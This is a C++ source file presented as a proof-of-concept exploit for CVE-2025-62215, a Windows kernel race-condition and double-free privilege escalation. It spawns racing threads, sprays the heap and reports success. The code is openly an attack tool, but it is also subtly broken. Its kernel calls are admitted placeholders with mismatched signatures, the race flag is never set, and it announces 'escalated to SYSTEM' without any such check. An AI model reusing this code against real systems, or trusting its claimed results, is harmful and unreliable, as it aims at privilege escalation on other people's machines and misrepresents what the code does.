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/*
* CVE-2025-62215 Proof-of-Concept Exploit
* Windows Kernel Race Condition + Double-Free Privilege Escalation
*
* WARNING: FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY
*/
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>
#include <thread>
#include <atomic>
#include <chrono>
#include <string>
// Kernel structure definitions (based on reverse engineering)
typedef struct _KERNEL_OBJECT {
PVOID ObjectHeader;
ULONG ReferenceCount;
PVOID SharedResource;
HANDLE Handle;
} KERNEL_OBJECT, *PKERNEL_OBJECT;
// Global synchronization
std::atomic<bool> g_race_condition_triggered(false);
std::atomic<bool> g_exploit_success(false);
std::atomic<int> g_thread_count(0);
// Function pointers for kernel operations
typedef NTSTATUS (WINAPI *pNtCreateKernelObject)(
PHANDLE ObjectHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG ObjectType
);
typedef NTSTATUS (WINAPI *pNtCloseKernelObject)(
HANDLE ObjectHandle
);
typedef NTSTATUS (WINAPI *pNtDuplicateKernelObject)(
HANDLE SourceHandle,
PHANDLE TargetHandle
);
// Get function pointers from ntdll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtCreateKernelObject NtCreateKernelObject = nullptr;
pNtCloseKernelObject NtCloseKernelObject = nullptr;
pNtDuplicateKernelObject NtDuplicateKernelObject = nullptr;
// Initialize function pointers
bool InitializeKernelFunctions() {
if (!hNtdll) {
std::cerr << "[!] Failed to load ntdll.dll" << std::endl;
return false;
}
// Note: These are placeholder function names - actual exploit would use
// undocumented syscalls or IOCTLs that trigger the vulnerable code path
NtCreateKernelObject = (pNtCreateKernelObject)GetProcAddress(hNtdll, "NtCreateFile");
NtCloseKernelObject = (pNtCloseKernelObject)GetProcAddress(hNtdll, "NtClose");
if (!NtCreateKernelObject || !NtCloseKernelObject) {
std::cerr << "[!] Failed to resolve kernel functions" << std::endl;
return false;
}
return true;
}
// Thread function to trigger race condition
DWORD WINAPI RaceConditionThread(LPVOID lpParam) {
HANDLE* handles = (HANDLE*)lpParam;
int thread_id = g_thread_count.fetch_add(1);
std::cout << "[*] Thread " << thread_id << " started race condition attempt" << std::endl;
// Create kernel object to trigger vulnerable code path
HANDLE hObject = INVALID_HANDLE_VALUE;
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
// Attempt to create and manipulate kernel objects rapidly
// This simulates the race condition by having multiple threads
// access the same kernel resource simultaneously
for (int i = 0; i < 1000; i++) {
// Create object
NTSTATUS status = NtCreateKernelObject(
&hObject,
GENERIC_ALL,
&objAttr,
0
);
if (NT_SUCCESS(status) && hObject != INVALID_HANDLE_VALUE) {
// Rapidly close and recreate to trigger race condition
NtCloseKernelObject(hObject);
// Small delay to increase chance of race condition
Sleep(0);
// Attempt to use the handle after it might have been freed
// This is where the double-free vulnerability occurs
if (i % 10 == 0) {
// Try to access the object again - this may trigger double-free
// if another thread has already freed it
NtCloseKernelObject(hObject);
}
}
// Check if we've triggered the race condition
if (g_race_condition_triggered.load()) {
std::cout << "[+] Thread " << thread_id << " detected race condition!" << std::endl;
break;
}
}
return 0;
}
// Monitor thread to detect successful exploitation
DWORD WINAPI MonitorThread(LPVOID lpParam) {
std::cout << "[*] Monitor thread started" << std::endl;
// Check current privileges
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
if (elevation.TokenIsElevated) {
std::cout << "[+] SUCCESS: Privilege escalation detected!" << std::endl;
g_exploit_success.store(true);
}
}
CloseHandle(hToken);
}
return 0;
}
// Heap spray to prepare memory layout for exploitation
bool HeapSpray() {
std::cout << "[*] Performing heap spray..." << std::endl;
// Allocate multiple chunks to shape heap layout
std::vector<PVOID> allocations;
for (int i = 0; i < 100; i++) {
PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (ptr) {
// Fill with pattern to detect corruption
memset(ptr, 0x41 + (i % 26), 0x1000);
allocations.push_back(ptr);
}
}
std::cout << "[+] Allocated " << allocations.size() << " heap chunks" << std::endl;
// Keep allocations alive
Sleep(100);
return allocations.size() > 0;
}
// Main exploit function
bool ExploitRaceCondition() {
std::cout << "[*] Starting CVE-2025-62215 exploitation..." << std::endl;
std::cout << "[*] Target: Windows Kernel Race Condition + Double-Free" << std::endl;
// Check if we're already running as SYSTEM
if (IsUserAnAdmin()) {
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
if (elevation.TokenIsElevated) {
std::cout << "[!] Already running with elevated privileges" << std::endl;
CloseHandle(hToken);
return true;
}
}
CloseHandle(hToken);
}
}
// Initialize kernel function pointers
if (!InitializeKernelFunctions()) {
return false;
}
// Perform heap spray
if (!HeapSpray()) {
std::cerr << "[!] Heap spray failed" << std::endl;
return false;
}
// Create multiple threads to trigger race condition
const int NUM_THREADS = 8;
HANDLE hThreads[NUM_THREADS];
HANDLE hObjects[NUM_THREADS];
std::cout << "[*] Spawning " << NUM_THREADS << " threads to trigger race condition..." << std::endl;
// Create monitor thread
HANDLE hMonitor = CreateThread(NULL, 0, MonitorThread, NULL, 0, NULL);
// Create race condition threads
for (int i = 0; i < NUM_THREADS; i++) {
hThreads[i] = CreateThread(
NULL,
0,
RaceConditionThread,
hObjects,
0,
NULL
);
if (!hThreads[i]) {
std::cerr << "[!] Failed to create thread " << i << std::endl;
continue;
}
// Stagger thread starts to increase race condition probability
Sleep(1);
}
// Wait for threads to complete or exploit to succeed
std::cout << "[*] Waiting for race condition..." << std::endl;
DWORD waitResult = WaitForMultipleObjects(
NUM_THREADS,
hThreads,
FALSE,
5000 // 5 second timeout
);
// Give monitor thread time to check
Sleep(1000);
// Cleanup
for (int i = 0; i < NUM_THREADS; i++) {
if (hThreads[i]) {
CloseHandle(hThreads[i]);
}
}
if (hMonitor) {
CloseHandle(hMonitor);
}
// Check if exploitation was successful
if (g_exploit_success.load()) {
std::cout << "[+] EXPLOITATION SUCCESSFUL!" << std::endl;
std::cout << "[+] Privileges escalated to SYSTEM" << std::endl;
return true;
} else if (g_race_condition_triggered.load()) {
std::cout << "[!] Race condition triggered but exploitation failed" << std::endl;
std::cout << "[!] This may indicate:" << std::endl;
std::cout << " - System is patched" << std::endl;
std::cout << " - Exploit needs refinement" << std::endl;
std::cout << " - Additional conditions not met" << std::endl;
return false;
} else {
std::cout << "[!] Exploitation failed - race condition not triggered" << std::endl;
return false;
}
}
// Test mode - safer execution
bool TestMode() {
std::cout << "[*] Running in TEST mode (safer execution)" << std::endl;
std::cout << "[*] This mode will not attempt full exploitation" << std::endl;
// Just verify we can access kernel functions
if (!InitializeKernelFunctions()) {
return false;
}
std::cout << "[+] Kernel functions initialized successfully" << std::endl;
std::cout << "[+] Test mode completed" << std::endl;
return true;
}
int main(int argc, char* argv[]) {
std::cout << "========================================" << std::endl;
std::cout << "CVE-2025-62215 Proof-of-Concept Exploit" << std::endl;
std::cout << "Windows Kernel EoP - Race Condition PoC" << std::endl;
std::cout << "========================================" << std::endl;
std::cout << std::endl;
// Parse arguments
bool test_mode = false;
bool verbose = false;
for (int i = 1; i < argc; i++) {
std::string arg = argv[i];
if (arg == "--test" || arg == "-t") {
test_mode = true;
} else if (arg == "--verbose" || arg == "-v") {
verbose = true;
} else if (arg == "--help" || arg == "-h") {
std::cout << "Usage: exploit.exe [options]" << std::endl;
std::cout << "Options:" << std::endl;
std::cout << " --test, -t Run in test mode (safer)" << std::endl;
std::cout << " --verbose, -v Enable verbose output" << std::endl;
std::cout << " --help, -h Show this help" << std::endl;
return 0;
}
}
if (test_mode) {
return TestMode() ? 0 : 1;
}
// Display warning
std::cout << "WARNING: This exploit may cause system instability!" << std::endl;
std::cout << "Press Ctrl+C to cancel, or wait 3 seconds to continue..." << std::endl;
Sleep(3000);
// Run exploit
bool success = ExploitRaceCondition();
if (success) {
std::cout << std::endl;
std::cout << "[+] Exploitation completed successfully" << std::endl;
// Verify privileges
if (IsUserAnAdmin()) {
std::cout << "[+] Current user has administrator privileges" << std::endl;
}
return 0;
} else {
std::cout << std::endl;
std::cout << "[!] Exploitation failed" << std::endl;
return 1;
}
}